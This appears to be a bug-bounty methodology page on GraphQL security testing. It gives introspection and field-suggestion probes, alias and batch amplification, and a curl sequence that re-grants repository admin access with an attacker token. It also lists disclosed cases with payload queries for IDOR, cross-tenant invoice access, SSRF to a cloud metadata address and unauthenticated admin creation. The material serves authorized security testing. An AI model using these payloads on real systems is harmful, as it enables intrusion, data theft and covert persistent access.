buggy HunterGraphQL security deep dive — introspection bypass, batching amplification, field-level authorization bypass, and subscription abuse.
GraphQL vulnerabilities are high-value because the attack surface is both broad and deep — a single endpoint can expose entire data models, privilege escalation paths, and cross-API state confusion. Highest payouts occur in:
URL Patterns:
/graphql /api/graphql /v1/graphql /query /gql /graph /api/v2/graphql /internal/graphqlResponse Headers:
Content-Type: application/json (with query body) X-Request-Id + no REST-style path params = likely GraphQLJavaScript Source Patterns:
// grep for these in JS bundles "query {" "mutation {" "__typename" "apollo" "ApolloClient" "graphql-tag" "gql`" "operationName" "GRAPHQL_URI"Tech Stack Signals:
graphene or strawberry (Python), graphql-ruby, gqlgen (Go), Lighthouse (Laravel){"query": "..."} body shape in Burp history__schema or __type in any response = confirmed GraphQLgithub.com search: "graphql" site:target.com/graphql pathsLinkFinder or getallurls/graphql, /api/graphql, review Burp passive scan hits for application/json POST with query fields { __typename }InQL (Burp extension) or graphql-voyager to visualize relationships. Specifically look for:Full Introspection Query:
{ __schema { types { name fields { name type { name kind } } } } }Minimal Introspection Probe (bypass attempt):
{ __typename }curl introspection test:
curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"query":"{ __schema { queryType { name } } }"}' | jq .Field suggestion probe (bypass blind introspection blocks):
{ unknownField }"Did you mean: [realFieldName]?" — schema is enumerable despite introspection being disabled.
Batch query amplification:
[ {"query": "{ user(id: 1) { email } }"}, {"query": "{ user(id: 2) { email } }"}, {"query": "{ user(id: 3) { email } }"} ]RC desync test pattern (pseudo-sequence):
# Step 1: Grant access via REST curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \ -H "Authorization: token ADMIN_TOKEN" \ -d '{"permission":"admin"}'
# Step 2: Revoke via REST curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \ -H "Authorization: token ADMIN_TOKEN"
# Step 3: Re-assert via GraphQL mutation curl -X POST https://api.target.com/graphql \ -H "Authorization: bearer ATTACKER_TOKEN" \ -d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'
# Step 4: Verify persistent access curl https://api.target.com/repos/ORG/REPO/teams \ -H "Authorization: token ADMIN_TOKEN"
Grep for GraphQL in JS bundles:
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.jsInQL / clairvoyance for blind schema enumeration:
python3 clairvoyance.py -u https://target.com/graphql \ -H "Authorization: Bearer TOKEN" \ -w wordlist.txt -o schema.jsonbase64("ObjectType:123")) are decoded and trusted without verifying the requesting user has access to that specific object.Defense: Introspection disabled
clairvoyance to brute-force field names against a wordlistfragment F on User { repos { teams { members { ...F } } } }Defense: Rate limiting per IP
__schema { s: __schema { t: types { n: name } } }extensions.persistedQuery hash mismatchesA common claim is "alias batching defeats per-user rate limits and double-spend protections." Whether this actually wins depends on the resolver execution model:
| Resolver type | Behavior on aliased mutations | Alias batching wins races? |
|---|---|---|
Multi-threaded / DataLoader-batched async | Aliases run concurrently, share state via batch | YES — single HTTP request can amplify a race-target N times |
| Single-threaded / single-DB-connection per request | Aliases run serially; first mutation closes the door | NO — combine with parallel HTTP |
| Distributed gateway (Apollo Federation) | Sub-queries dispatched concurrently to subgraphs | Depends on each subgraph |
redeemCoupon mutations in one request → only r1 succeeds, r2-r10 fail with already_redeemed. Alias batching alone is insufficient.hunt-race-condition's parallel-HTTP / Turbo Intruder single-packet attack. Verified in docs/verification/phase2e-jwt-graphql-race.md Test 11 vs Test 12.
Scenario A — Covert Persistent Admin After Team Removal (GitHub-pattern) An attacker who legitimately had admin access to a repository via team membership gets removed by the org admin through the REST API. The attacker, before removal completes, calls the updateTeamsRepository GraphQL mutation to re-associate their team with admin permissions. The REST removal and GraphQL re-grant create a desync where the UI shows the team as removed, but the GraphQL state preserves admin-level access. The attacker retains covert write access to the repository indefinitely — pushing code, reading secrets in CI/CD — without appearing in the team's member list. This persists through org audits.
Scenario B — Covert Access via Repo Transfer Race (GitHub-pattern) An attacker with admin access initiates a repository transfer to another organization via the REST API. During or after the transfer, they invoke updateTeamsRepository on the now-transferred repo's ID. Because the GraphQL mutation doesn't validate current org ownership state consistently with the REST transfer event, the original attacker's team retains admin access on a repo now owned by a different organization. The receiving org has no visibility into this team association. The attacker can exfiltrate intellectual property from an org they have no legitimate relationship with.
Scenario C — Introspection as Reconnaissance Prerequisite (Shopify-pattern) On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for fulfillmentOrderMove and inventoryAdjust that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the introspection itself is zero-severity, but it is the entry point to critical findings.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 3 internal references. Each is a distinct GraphQL subclass with a working PoC documented in the cited writeup.
User type ([H1 #489146](https://hackerone.com/reports/489146))user(id:...) query returning email, backup_codes_hash, facebook_user_id, account_recovery_phone_number_verified_at, totp_enabled
- Root cause: backend migration introduced a GraphQL User type with no field-level authz; any authenticated user could enumerate PII of all users
- Year: 2019 — $20,000, 1,028 upvotes
DestroyLlmConversation mutation IDOR (Copilot pre-release) ([H1 #2218334](https://hackerone.com/reports/2218334))mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }
- Root cause: new LLM-conversation mutation shipped without authorization decorator; any user could destroy any conversation
- Year: 2023 — caught pre-launch, no bounty (202 upvotes)
BillingDocumentDownload cross-tenant IDOR ([H1 #2207248](https://hackerone.com/reports/2207248))query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }
- Root cause: BillingInvoice resolver authorized the requester's shop but did not verify the invoice belonged to that shop
- Year: 2024 — $5,000, 175 upvotes
query { products(first:-100) { … } } — negative first produced a negative query-cost contribution, refilling the leaky-bucket each call
- Root cause: query-cost calculator did not floor at zero; negative values subtracted from the consumed budget
- Year: 2019 — $1,000
UpdateAtlasApplicationPerson ([H1 #1066203](https://hackerone.com/reports/1066203))mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } — adding/modifying a co-founder on another merchant's Stripe Atlas application
- Root cause: mutation scoped only to "is admin of some merchant," not "is admin of the merchant owning this person"
- Year: 2020 — bounty undisclosed (resolved)
allTicks query ([H1 #1864188](https://hackerone.com/reports/1864188))query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } } — source arg fed into a server-side HTTP client
- Root cause: GraphQL field accepted a URL arg and dereferenced it without scheme/host allowlist
- Year: 2023 — $3,000, 249 upvotes
/graphql
- Year: 2024 — bounty undisclosed (resolved)
runnerUpdate (CVE-2023-2478) ([Advisory](https://about.gitlab.com/releases/2023/05/05/critical-security-release-gitlab-15-11-2-released/))mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }
- Root cause: runnerUpdate did not check that the caller had Maintainer on the target project — any user could bind their malicious runner and intercept CI jobs (build secrets, code execution)
- Year: 2023 — Critical, CVSS 9.6 (H1 bounty undisclosed; GitLab Critical-tier typically $20k–$35k)
createAdminUser mutation ([HackerOne blog](https://www.hackerone.com/blog/how-graphql-bug-resulted-authentication-bypass))mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } invoked unauthenticated after schema enumeration via introspection
- Root cause: schema lacked per-field authorization directives; createAdminUser exposed to public role
- Year: 2023 — "Best Bug" prize at HackerOne Ambassador World Cup
hunt-idor — GraphQL node(id:) and global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (node() resolver) → cross-tenant data via base64-decoded type:id replay.hunt-api-misconfig — GraphQL mutations are mass-assignment magnets: clients send full input objects, server merges. Chain primitive: GraphQL mutation + extra fields (isAdmin:true, verified:true) → mass assignment → role escalation.hunt-business-logic — GraphQL aliases let you call the same mutation N times in one request, defeating per-request rate limits. Chain primitive: aliased mutation + business-logic flaw → coupon redeemed N times in single network round-trip.hunt-race-condition — GraphQL batching collapses N mutations into one HTTP packet — perfect single-packet race vehicle. Chain primitive: GraphQL batch + race → atomic-update missing → double-spend balance.security-arsenal — Load the GraphQL Payload Pack: introspection query, schema-suggestion error probe, alias amplification template, depth-bomb DoS payload, batch-attack template.triage-validation — Apply the Body-Diff Rule: introspection alone is informational; require a concrete cross-tenant read or mutation-with-impact PoC before submitting.Questions about GraphQL Deep Dive?